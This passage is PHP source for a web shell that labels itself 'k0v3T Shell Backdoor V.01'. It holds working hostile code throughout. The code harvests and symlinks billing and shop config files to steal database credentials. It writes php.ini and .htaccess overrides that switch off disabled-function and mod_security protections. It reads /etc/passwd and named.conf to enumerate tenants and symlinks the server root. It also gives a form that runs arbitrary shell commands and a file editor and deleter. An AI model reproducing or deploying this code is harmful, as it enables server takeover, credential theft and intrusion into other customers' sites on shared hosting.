"WHMCS",\r\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\r\n);  \r\n\r\nforeach($grab_config as $config => $nama_config) {\r\n\tif($_POST[\'config\'] == \'grab\') {\r\n$ambil_config = file_get_contents($config);\r\nif($ambil_config == \'\') {\r\n} else {\r\n$file_config = fopen("k0v3T_configgrab/$user_k0v3T-$nama_config.txt","w");\r\nfputs($file_config,$ambil_config);\r\n}\r\n}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@symlink($config,"k0v3T_Symconfig/".$user_k0v3T."-".$nama_config.".txt");\r\n}\r\nif($_POST[\'config\'] == \'404\') {\r\n$sym404=symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt");\r\nif($sym404){\r\n\t@mkdir("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404", 0777);\r\n\t$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *";\r\n\r\n@file_put_contents("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/.htaccess",$htaccess);\r\n\r\n@symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/k0v3T.txt");\r\n\r\n\t}\r\n\r\n}\r\n\r\n                    }     \r\n\t\t}  if($_POST[\'config\'] == \'grab\') {\r\n            echo "<center><a href=\'?path=$path/k0v3T_configgrab\'><font color=lime>Done</font></a></center>";\r\n\t\t}\r\n    if($_POST[\'config\'] == \'404\') {\r\n        echo "<center>\r\n<a href=\\"k0v3T_sym404/root/\\">SymlinkNya</a>\r\n<br><a href=\\"k0v3T_sym404/\\">Configurations</a></center>";\r\n    }\r\n     if($_POST[\'config\'] == \'symlink\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symconfig/root/\\">Symlinknya</a>\r\n<br><a href=\\"k0v3T_symconfig/\\">Configurations</a></center>";\r\n\t\t\t}if($_POST[\'config\'] == \'symvhost\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symvhost/root/\\">Root Server</a>\r\n<br><a href=\\"k0v3T_symvhost/\\">Configurations</a></center>";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n        echo "<form method=\\"post\\" action=\\"\\"><center>\r\n\t\t</center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\r\n        echo include("/etc/passwd"); \r\n        echo "</textarea><br><br>\r\n        <select class=\\"select\\" name=\\"config\\"  style=\\"width: 450px;\\" height=\\"10\\">\r\n        <option value=\\"grab\\">Config Grab</option>\r\n        <option value=\\"symlink\\">Symlink Config</option>\r\n\t\t<option value=\\"404\\">Config 404</option>\r\n\t\t<option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\r\n}\r\n\r\n} elseif($_GET[\'a\'] == \'disablefunc\'){\r\n\t\techo "<br><br><center>";\r\n\t\techo "<form method=post><input type=submit name=ini value=\'php.ini\' />&nbsp;<input type=submit name=htce value=\'.htaccess\' />&nbsp;<input type=submit name=litini value=\'Litespeed\' /></form>";\r\n\t\tif(isset($_POST[\'ini\']))\r\n{\r\n\t\t$file = fopen("php.ini","w");\r\n\t\techo fwrite($file,"disable_functions=none\r\nsafe_mode = Off\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "<a href=\'php.ini\'>click here!</a>";\r\n}\t\tif(isset($_POST[\'htce\']))\r\n{\r\n\t\t$file = fopen(".htaccess","w");\r\n\t\techo fwrite($file,"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "htaccess successfully created!";\r\n}               if(isset($_POST[\'litini\'])){\r\n\t\t$iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\r\n\t\t\t $byph = "safe_mode = Off n disable_functions= ";\r\n\t\t$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\r\n\t\tfile_put_contents("php.ini",base64_decode($byph));\r\n\t\tfile_put_contents("ini.php",base64_decode($iniph));\r\n\t\tfile_put_contents(".htaccess",base64_decode($comp));\r\n\t\techo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\r\n\t\techo"</center>";\r\n}\r\n\r\n}\r\nelseif($_GET[\'a\'] == \'symlink\') {\r\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\r\n$d0mains = @file("/etc/named.conf");\r\n##httaces\r\nif($d0mains){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\n@exe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n$fp3 = fopen(\'.htaccess\',\'w\');\r\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\necho "<br>\r\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";\r\n$dcount = 1;\r\nforeach($d0mains as $d0main){\r\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\necho "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\r\n<td>".$user[\'name\']."</td>\r\n<td><a href=\'$full/k0v3T_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\r\nflush();\r\n$dcount++;}}}\r\necho "</table>";\r\n}else{\r\n$TEST=@file(\'/etc/passwd\');\r\nif ($TEST){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\nexe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);\r\n @fclose($fp3);\r\n echo "\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $dcount = 1;\r\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\r\n while(!feof($file)){\r\n $s = fgets($file);\r\n $matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n $matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}fclose($file);\r\n echo "</table>";}else{if($os != "Windows"){@mkdir("k0v3T_sym",0777);@chdir("k0v3T_sym");@exe("ln -s / root");$file3 = \'\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n echo "\r\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $temp = "";$val1 = 0;$val2 = 1000;\r\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\r\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\r\n echo \'<br/>\';$temp = trim($temp);$file5 =\r\n fopen("test.txt","w");\r\n fputs($file5,$temp);\r\n fclose($file5);$dcount = 1;$file =\r\n fopen("test.txt", "r") or exit("Unable to open file!");\r\n while(!feof($file)){$s = fgets($file);$matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}\r\n fclose($file);\r\n echo "</table></div></center>";unlink("test.txt");\r\n } else\r\n echo "<center><font size=3>Cannot create Symlink</font></center>";\r\n }\r\n }\r\n##JUMPING \r\n} elseif($_GET[\'a\'] == \'jumping\') {\r\n    $i = 0;\r\n    echo "<pre><div class=\'margin: 5px auto;\'>";\r\n    $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\r\n    while($passwd = fgets($etc)) {\r\nif($passwd == \'\' || !$etc) {\r\n    echo "<font color=red>Can\'t read /etc/passwd</font>";\r\n} else {\r\n    preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n    foreach($user_jumping[1] as $user_idx_jump) {\r\n        $user_jumping_dir = "/home/$user_idx_jump/public_html";\r\n        if(is_readable($user_jumping_dir)) {\r\n            $i++;\r\n            $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n            if(is_writable($user_jumping_dir)) {\r\n                $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\r\n            }\r\n            echo $jrw;\r\n            if(function_exists(\'posix_getpwuid\')) {\r\n                $domain_jump = file_get_contents("/etc/named.conf");   \r\n                if($domain_jump == \'\') {\r\n                    echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\r\n                } else {\r\n                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n                    foreach($domains_jump[1] as $dj) {\r\n                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n                        $user_jumping_url = $user_jumping_url[\'name\'];\r\n                        if($user_jumping_url == $user_idx_jump) {\r\n                            echo " => ( <u>$dj</u> )<br>";\r\n                            break;\r\n                        }\r\n                    }\r\n                }\r\n            } else {\r\n                echo "<br>";\r\n            }\r\n        }\r\n    }\r\n}\r\n    }\r\n    if($i == 0) {\r\n    } else {\r\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\r\n    \r\n    echo "</div></pre>";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif($_GET[\'a\'] == \'cmd\') {\r\n\techo "<form method=\'post\'>\r\n\t<font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\r\n\t<input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\r\n\t</form>";\r\n\tif($_POST[\'do_cmd\']) {\r\n\t\techo "<pre>".exe($_POST[\'cmd\'])."</pre>";\r\n\t}\r\n\r\n//START\r\n} elseif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="#5ddcfc">Ganti  Permission Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Permission Gagal Gan</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Chmod" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="#5ddcfc">Ganti Nama Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Nama Gagal Gan</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Ubah Nama" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="#5ddcfc">Edit File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Edit File Gagal Gan</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Edit File" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus Dir Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="red">Hapus Dir Gagal Gan</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="#red">Hapus File Gagal Gan</font><br />\';\r\n}\r\n}\r\n}\r\n\t\t\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\r\n<tr class="first">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\r\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>";\r\n\t\r\nif(is_writable("$path/$dir")) echo \'<font color="#5ddcfc">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\r\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\r\n<td><center><font color=Red>".$size."</font></center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color=#5ddcfc>\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor  V.01<br><font size=4 ; color=#5ddcfc>Copyright &copy; <font color="red">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// 